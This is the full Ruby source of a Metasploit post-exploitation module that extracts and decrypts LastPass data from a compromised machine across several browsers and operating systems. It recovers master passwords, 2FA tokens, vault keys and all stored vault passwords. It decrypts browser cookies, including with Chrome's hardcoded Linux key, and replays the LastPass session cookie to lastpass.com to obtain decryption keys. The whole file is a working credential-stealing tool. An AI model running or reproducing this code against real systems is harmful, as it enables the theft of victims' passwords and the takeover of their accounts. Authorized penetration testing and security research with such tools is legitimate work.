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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sqlite3'
require 'uri'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
include Msf::Post::OSX::System
include Msf::Post::Unix
def initialize(info = {})
super(update_info(info,
'Name' => 'LastPass Vault Decryptor',
'Description' => %q{
This module extracts and decrypts LastPass master login accounts and passwords,
encryption keys, 2FA tokens and all the vault passwords
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup
],
'Platform' => %w(linux osx unix win),
'References' =>
[
[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
],
'SessionTypes' => %w(meterpreter shell)
))
end
def run
if session.platform == 'windows' && session.type == "shell" # No Windows shell support
print_error "Shell sessions on Windows are not supported"
return
end
print_status "Searching for LastPass databases"
account_map = build_account_map
if account_map.empty?
print_status "No databases found"
return
end
print_status "Extracting credentials"
extract_credentials(account_map)
print_status "Extracting 2FA tokens"
extract_2fa_tokens(account_map)
print_status "Extracting vault and iterations"
extract_vault_and_iterations(account_map)
print_status "Extracting encryption keys"
extract_vault_keys(account_map)
print_lastpass_data(account_map)
end
# Returns a mapping of lastpass accounts
def build_account_map
profiles = user_profiles
account_map = {}
profiles.each do |user_profile|
account = user_profile['UserName']
browser_path_map = {}
localstorage_path_map = {}
cookies_path_map = {}
case session.platform
when 'windows'
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
}
localstorage_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
}
cookies_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",
'Firefox' => "", # It's set programmatically
'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"
}
when 'unix', 'linux'
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
}
localstorage_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
}
cookies_path_map = { # TODO
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
'Firefox' => "", # It's set programmatically
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
}
when 'osx'
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
}
localstorage_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
}
cookies_path_map = { # TODO
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
'Firefox' => "", # It's set programmatically
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
}
else
print_error "Platform not recognized: #{session.platform}"
end
account_map[account] = {}
browser_path_map.each_pair do |browser, path|
account_map[account][browser] = {}
db_paths = find_db_paths(path, browser, account)
if db_paths && db_paths.size > 0
account_map[account][browser]['lp_db_path'] = db_paths.first
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub("prefs.js", "cookies.sqlite") if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
else
account_map[account].delete(browser)
end
end
end
account_map
end
# Returns a list of DB paths found in the victims' machine
def find_db_paths(path, browser, account)
paths = []
vprint_status "Checking #{account}'s #{browser}"
if browser == "IE" # Special case for IE
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers")
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") if data.blank?
paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != "Low\\LastPass" # Hacky way to detect if there is access to user's data (attacker has no root access)
elsif browser == "Firefox" # Special case for Firefox
paths |= firefox_profile_files(path)
else
paths |= file_paths(path)
end
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
paths
end
# Returns the relevant information from user profiles
def user_profiles
user_profiles = []
case session.platform
when /unix|linux/
user_names = dir("/home")
user_names.reject! { |u| %w(. ..).include?(u) }
user_names.each do |user_name|
user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}")
end
when /osx/
user_names = session.shell_command("ls /Users").split
user_names.reject! { |u| u == 'Shared' }
user_names.each do |user_name|
user_profiles.push(
'UserName' => user_name,
"AppData" => "/Users/#{user_name}/Library",
"LocalAppData" => "/Users/#{user_name}/Library/Application Support"
)
end
when /windows/
user_profiles |= grab_user_profiles
else
print_error "OS not recognized: #{session.platform}"
end
user_profiles
end
# Extracts the databases paths from the given folder ignoring . and ..
def file_paths(path)
found_dbs_paths = []
files = []
files = dir(path) if directory?(path)
files.each do |file_path|
unless %w(. .. Shared).include?(file_path)
found_dbs_paths.push([path, file_path].join(system_separator))
end
end
found_dbs_paths
end
# Returns the profile files for Firefox
def firefox_profile_files(path)
found_dbs_paths = []
if directory?(path)
files = dir(path)
files.reject! { |file| %w(. ..).include?(file) }
files.each do |file_path|
found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)
end
end
[found_dbs_paths]
end
# Parses the Firefox preferences file and returns encoded credentials
def ie_firefox_credentials(prefs_path, localstorage_db_path)
credentials = []
data = nil
if prefs_path.nil? # IE
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers")
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers") if data.blank?
return [] if data.blank?
usernames = data.split("|")
usernames.each do |username|
credentials << [username, nil]
end
# Extract master passwords
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginPws")
data = Rex::Text.encode_base64(data) unless data.blank?
else # Firefox
loot_path = loot_file(prefs_path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file")
return [] unless loot_path
File.readlines(loot_path).each do |line|
if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
usernames = encoded_users.split("|")
usernames.each do |username|
credentials << [username, nil]
end
break
end
end
# Extract master passwords
path = localstorage_db_path + system_separator + "lp.loginpws"
data = read_remote_file(path) if file?(path) # Read file if it exists
end
# Get encrypted master passwords
data = windows_unprotect(data) if data != nil && data.match(/^AQAAA.+/) # Verify Windows protection
return credentials if data.blank? # No passwords stored
creds_per_user = data.split("|")
creds_per_user.each_with_index do |user_creds, index|
parts = user_creds.split('=')
for creds in credentials
creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
end
end
credentials
end
def decrypt_data(key, encrypted_data)
return nil if encrypted_data.blank?
if encrypted_data.include?("|") # Use CBC
decipher = OpenSSL::Cipher.new("AES-256-CBC")
decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
encrypted_data = encrypted_data[26..-1] # Take only the data part
else # Use ECB
decipher = OpenSSL::Cipher.new("AES-256-ECB")
end
begin
decipher.decrypt
decipher.key = key
decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
rescue OpenSSL::Cipher::CipherError => e
vprint_error "Data could not be decrypted. #{e.message}"
end
decrypted_data
end
def extract_credentials(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
account_map[account][browser]['lp_creds'] = {}
if browser.match(/Firefox|IE/)
if browser == "Firefox"
ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])
else # IE
ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])
end
unless ieffcreds.blank?
ieffcreds.each do |creds|
if creds[1].blank? # No master password found
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => nil }
else
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1]))
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => creds[1] }
end
end
end
else # Chrome, Safari and Opera
loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", "application/x-sqlite3", "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")
account_map[account][browser]['lp_db_loot'] = loot_path
next if loot_path.blank?
# Parsing/Querying the DB
db = SQLite3::Database.new(loot_path)
result = db.execute(
"SELECT username, password FROM LastPassSavedLogins2 " \
"WHERE username IS NOT NULL AND username != '' " \
)
for row in result
if row[0]
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
end
end
end
end
end
end
# Extracts the 2FA token from localStorage
def extract_2fa_tokens(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
if browser.match(/Firefox|IE/)
path = lp_data['localstorage_db'] + system_separator + "lp.suid"
data = read_remote_file(path) if file?(path) # Read file if it exists
data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection
loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
account_map[account][browser]['lp_2fa'] = data
else # Chrome, Safari and Opera
loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
unless loot_path.blank?
db = SQLite3::Database.new(loot_path)
token = db.execute(
"SELECT hex(value) FROM ItemTable " \
"WHERE key = 'lp.uid';"
).flatten
end
token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
end
end
end
end
# Print all extracted LastPass data
def print_lastpass_data(account_map)
lastpass_data_table = Rex::Text::Table.new(
'Header' => "LastPass Accounts",
'Indent' => 1,
'Columns' => %w(Account LP_Username LP_Password LP_2FA LP_Key)
)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data|
lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
end
end
end
unless account_map.empty?
print_good lastpass_data_table.to_s
loot_file(nil, lastpass_data_table.to_csv, "lastpass.data", "text/csv", "LastPass Data")
print_vault_passwords(account_map)
end
end
def extract_vault_and_iterations(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data|
if browser.match(/Firefox|IE/)
if browser == "Firefox"
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr"
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml"
else # IE
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key_ie.itr"
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.sxml"
end
iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists
iterations = nil if iterations.blank? # Verify content
lp_data['lp_creds'][username]['iterations'] = iterations
# Find encrypted vault
vault = read_remote_file(vault_path)
vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection
vault = vault.sub(/iterations=.*;/, "") if file?(vault_path) # Remove iterations info
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault")
lp_data['lp_creds'][username]['vault_loot'] = loot_path
else # Chrome, Safari and Opera
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
"SELECT data FROM LastPassData " \
"WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)
)
if result.size == 1 && !result[0].blank?
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
lp_data['lp_creds'][username]['iterations'] = iterations
else
lp_data['lp_creds'][username]['iterations'] = 1
end
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault")
lp_data['lp_creds'][username]['vault_loot'] = loot_path
else
lp_data['lp_creds'][username]['iterations'] = nil
lp_data['lp_creds'][username]['vault_loot'] = nil
end
end
end
end
end
end
def extract_vault_keys(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)
lp_data['lp_creds'].each_pair do |username, user_data|
if !user_data['lp_password'].blank? && user_data['iterations'] != nil # Derive vault key from credentials
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
else # Get vault key decrypting the locally stored one or from the disabled OTP
unless browser_checked
decrypt_local_vault_key(account, browser_map)
browser_checked = true
end
if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
otpbin = extract_otpbin(browser, username, lp_data)
otpbin.blank? ? next : otpbin = otpbin[0..31]
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
end
end
end
end
end
end
# Decrypt the locally stored vault key
def decrypt_local_vault_key(account, browser_map)
data = nil
session_cookie_value = nil
browser_map.each_pair do |browser, lp_data|
if browser == "IE" && directory?(lp_data['cookies_db'])
cookies_files = dir(lp_data['cookies_db'])
cookies_files.reject! { |u| %w(. ..).include?(u) }
cookies_files.each do |cookie_jar_file|
data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
next if data.blank?
if /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id
loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB")
session_cookie_value = session_cookie_value_match
break
end
end
else
case browser
when /Chrome/
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
when "Opera"
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
when "Firefox"
query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
else
vprint_error "Browser #{browser} not supported for cookies"
next
end
# Parsing/Querying the DB
loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", "application/x-sqlite3", "#{account}'s #{browser} cookies DB")
next if loot_path.blank?
db = SQLite3::Database.new(loot_path)
begin
result = db.execute(query)
rescue SQLite3::SQLException => e
vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
next
end
next if result.blank? # No session cookie found for this browser
session_cookie_value = result[0][0]
end
return if session_cookie_value.blank?
# Check if cookie value needs to be decrypted
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
begin
decipher = OpenSSL::Cipher.new("AES-256-CBC")
decipher.decrypt
decipher.key = OpenSSL::Digest::SHA256.hexdigest("peanuts")
decipher.iv = " " * 16
session_cookie_value = session_cookie_value[3..-1] # Discard v10
session_cookie_value = decipher.update(session_cookie_value) + decipher.final
rescue OpenSSL::Cipher::CipherError => e
print_error "Cookie could not be decrypted. #{e.message}"
end
end
# Use the cookie to obtain the encryption key to decrypt the vault key
uri = URI('https://lastpass.com/login_check.php')
request = Net::HTTP::Post.new(uri)
request.set_form_data("wxsessid" => URI.unescape(session_cookie_value), "uuid" => browser_map['lp_2fa'])
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
# Parse response
next unless response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired
decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey\="([a-z0-9]+)"/)[1])
username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]
# Get the local encrypted vault key
encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)
# Decrypt the local stored key
lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack("H*"), encrypted_vault_key)
end
end
# Returns otp, encrypted_key
def extract_otpbin(browser, username, lp_data)
if browser.match(/Firefox|IE/)
if browser == "Firefox"
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
else # IE
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + ".sotp"
end
otpbin = read_remote_file(path) if file?(path) # Read file if it exists
otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/)
return otpbin
else # Chrome, Safari and Opera
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
"SELECT type, data FROM LastPassData " \
"WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
)
return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack("H*")
end
end
def derive_vault_key_from_creds(username, password, key_iteration_count)
if key_iteration_count == 1
key = Digest::SHA256.hexdigest username + password
else
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
end
key
end
def decrypt_vault_key_with_otp(username, otpbin)
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*"
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
decrypt_data(vault_key_decryption_key, encrypted_vault_key)
end
def retrieve_encrypted_vault_key_with_otp username, otpbin
# Derive login hash from otp
otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash
# Make request to LastPass
uri = URI('https://lastpass.com/otp.php')
request = Net::HTTP::Post.new(uri)
request.set_form_data("login" => 1, "xml" => 1, "hash" => otp_token, "otpemail" => URI.escape(username), "outofbandsupported" => 1, "changepw" => otp_token)
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
# Parse response
encrypted_vault_key = nil
if response.body.match(/randkey\="(.*)"/)
encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1]
end
encrypted_vault_key
end
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
def lastpass_sha256(input)
output = ""
input = input.gsub("\r\n", "\n")
input.each_byte do |e|
if 128 > e
output += e.chr
else
if (127 < e && 2048 > e)
output += (e >> 6 | 192).chr
output += (e & 63 | 128).chr
else
output += (e >> 12 | 224).chr
output += (e >> 6 & 63 | 128).chr
end
end
end
OpenSSL::Digest::SHA256.hexdigest(output)
end
def pbkdf2(password, salt, iterations, key_length)
digest = OpenSSL::Digest::SHA256.new
OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
end
def windows_unprotect(data)
data = Rex::Text.decode_base64(data)
rg = session.railgun
pid = session.sys.process.getpid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(data.length + 200)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i["pid"] == pid } ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
else
addr = Rex::Text.pack_int64le(mem)
len = Rex::Text.pack_int64le(data.length)
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
pData = ret["pDataOut"].unpack("VVVV")
len = pData[0] + (pData[1] << 32)
addr = pData[2] + (pData[3] << 32)
end
return "" if len == 0
process.memory.read(addr, len)
end
def print_vault_passwords(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data|
lastpass_vault_data_table = Rex::Text::Table.new(
'Header' => "Decrypted vault from #{username}",
'Indent' => 1,
'Columns' => %w(URL Username Password)
)
if user_data['vault_loot'].nil? # Was a vault found?
print_error "No vault was found for #{username}"
next
end
encoded_vault = File.read(user_data['vault_loot'])
if encoded_vault[0] == "!" # Vault is double encrypted
encoded_vault = decrypt_data([user_data['vault_key']].pack("H*"), encoded_vault)
if encoded_vault.blank?
print_error "Vault from #{username} could not be decrypted"
next
else
encoded_vault = encoded_vault.sub("LPB64", "")
end
end
# Parse vault
vault = Rex::Text.decode_base64(encoded_vault)
vault.scan(/ACCT/) do |result|
chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1] + 3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk
chunk = vault[$~.offset(0)[0]..$~.offset(0)[1] + chunk_length] # Get ACCT chunk
account_data = parse_vault_account(chunk, user_data['vault_key'])
lastpass_vault_data_table << account_data if account_data != nil
end
unless account_map.empty? # Loot passwords
if lastpass_vault_data_table.rows.empty?
print_status('No decrypted vaults.')
else
print_good lastpass_vault_data_table.to_s
end
loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", "text/csv", "LastPass Vault Passwords from #{username}")
end
end
end
end
end
def parse_vault_account(chunk, vault_key)
pointer = 22 # Starting position to find data to decrypt
labels = ["name", "folder", "url", "notes", "undefined", "undefined2", "username", "password"]
vault_data = []
for label in labels
if chunk[pointer..pointer + 3].nil?
# Out of bound read
return nil
end
length = chunk[pointer..pointer + 3].unpack("H*").first.to_i(16)
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
label != "url" ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack("H*")
decrypted_data = "" if decrypted_data.nil?
vault_data << decrypted_data if (label == "url" || label == "username" || label == "password")
pointer = pointer + 4 + length
end
return vault_data[0] == "http://sn" ? nil : vault_data # TODO: Support secure notes
end
def decrypt_vault_password(key, encrypted_data)
return nil if key.blank? || encrypted_data.blank?
if encrypted_data[0] == "!" # Apply CBC
decipher = OpenSSL::Cipher.new("AES-256-CBC")
decipher.iv = encrypted_data[1, 16] # Discard !
encrypted_data = encrypted_data[17..-1]
else # Apply ECB
decipher = OpenSSL::Cipher.new("AES-256-ECB")
end
decipher.decrypt
decipher.key = [key].pack "H*"
begin
return decipher.update(encrypted_data) + decipher.final
rescue OpenSSL::Cipher::CipherError
vprint_error "Vault password could not be decrypted with key #{key}"
return nil
end
end
# Reads a remote file and loots it
def loot_file(path, data, title, type, description)
data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
return nil if data.nil?
loot_path = store_loot(
title,
type,
session,
data,
nil,
description
)
loot_path
end
# Reads a remote file and returns the data
def read_remote_file(path)
data = nil
begin
data = read_file(path)
rescue EOFError
vprint_error "Error reading file #{path} It could be empty"
end
data
end
def read_registry_key_value(key, value)
begin
root_key, base_key = session.sys.registry.splitkey(key)
reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
return nil unless reg_key
reg_value = reg_key.query_value(value)
return nil unless reg_value
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error("#{e.message} (#{key}\\#{value})")
end
reg_key.close if reg_key
return reg_value.blank? ? nil : reg_value.data
end
def extract_local_encrypted_vault_key(browser, username, lp_data)
if browser.match(/Firefox|IE/)
encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lpall.slps"
encrypted_vault_key = read_remote_file(encrypted_key_path)
encrypted_vault_key = windows_unprotect(encrypted_vault_key) if encrypted_vault_key != nil && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection
else
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
"SELECT data FROM LastPassData " \
"WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)
)
encrypted_vault_key = result[0][0]
end
return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part
end
# Returns OS separator in a session type agnostic way
def system_separator
return session.platform == 'windows' ? '\\' : '/'
end
end